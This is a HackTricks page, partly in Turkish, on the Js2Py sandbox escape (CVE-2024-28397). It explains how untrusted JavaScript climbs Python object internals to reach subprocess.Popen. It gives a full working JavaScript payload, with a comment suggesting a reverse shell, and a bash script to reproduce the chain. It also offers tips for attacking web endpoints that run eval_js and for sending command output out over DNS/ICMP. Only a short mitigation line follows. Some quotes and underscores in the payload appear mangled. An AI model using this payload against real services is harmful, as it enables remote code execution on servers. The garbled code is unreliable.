Js2Py sandbox escape (CVE-2024-28397)

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Js2Py, JavaScript’i Python nesnelerine çevirir; bu nedenle js2py.disable_pyimport() kullanılsa bile, güvenilmeyen JS Python iç yapılarında dolaşıp subprocess.Popen gibi tehlikeli sınıflara ulaşabilir. 20.74 sürümleri, Js2Py’nin JS nesnelerine açtığı Python reflection ilkel fonksiyonlarını istismar ederek aksi takdirde “sandboxed” olan JavaScript’ten RCE elde etmeye imkân verir.

Primitive: pivot from JS object wrappers to Python objects

  1. Get a Python-backed object: Object.getOwnPropertyNames({}) returns a dict_keys object in Python space.
  2. Recover attribute access: grab .__getattribute__ from that object and call it to read arbitrary attributes (e.g., "__class__").
  3. Climb to object: from <class 'dict_keys'> read .__base__ to reach Python’s base object.
  4. Enumerate loaded classes: call object.__subclasses__() to walk every class already loaded in the interpreter.
  5. Find subprocess.Popen: recursively search subclasses where __module__ == "subprocess" and __name__ == "Popen".
  6. Execute a command: instantiate Popen with attacker-controlled arguments and invoke .communicate() to capture output.
Örnek payload — Js2Py'yi kötüye kullanarak subprocess.Popen'e ulaşma ```javascript // Replace cmd with desired payload (reverse shell / ping / etc.) let cmd = "id"; let hacked, bymarve, n11; let getattr, obj;

hacked = Object.getOwnPropertyNames({}); // -> dict_keys([]) bymarve = hacked.getattribute; n11 = bymarve(“getattribute”); // attribute access primitive obj = n11(“class”).base; // pivot to <class ‘object’> getattr = obj.getattribute;

function findpopen(o) { let result; for (let i in o.subclasses()) { let item = o.subclasses()[i]; if (item.module == “subprocess” && item.name == “Popen”) { return item; } if (item.name != “type” && (result = findpopen(item))) { return result; } } }

// Popen(cmd, stdin/out/err pipes…) then .communicate() for output n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); console.log(n11); n11; // returned to caller if framework sends eval_js result back

</details>

Neden işe yarıyor: Js2Py, Python nesne sarmalayıcılarını JS'ye `__getattribute__`, `__class__`, `__base__` veya `__subclasses__`'ı kaldırmadan açığa çıkarır. `disable_pyimport()` yalnızca açıkça yapılan `pyimport`'ları engeller, ancak yukarıdaki zincir hiçbir yeni şeyi import etmez; zaten yüklü modülleri ve sınıfları bellekte yeniden kullanır.

## Reproducing the chain locally
```bash
# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print(js2py.eval_js("Object.getOwnPropertyNames({})"))                      # dict_keys([])
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__"))    # method-wrapper
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY

Web sandbox’larına karşı operasyonlar

  • Saldırgan kontrollü JS’i js2py.eval_js’e veren herhangi bir endpoint (örneğin, bir Flask /run_code API’si), süreç kullanıcısı shell access’e sahipse anında RCE olur.
  • .communicate() bytes döndürdüğünde jsonify({'result': result}) geri döndürme başarısız olur; serileştirme engelleyicilerinden kaçınmak için decode edin veya çıktıyı DNS/ICMP’e yönlendirin.
  • disable_pyimport() bu zinciri hafifletmez; sert izolasyon (ayrı process/container) veya Js2Py’nin güvensiz kod yürütmesini kaldırmak gereklidir.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin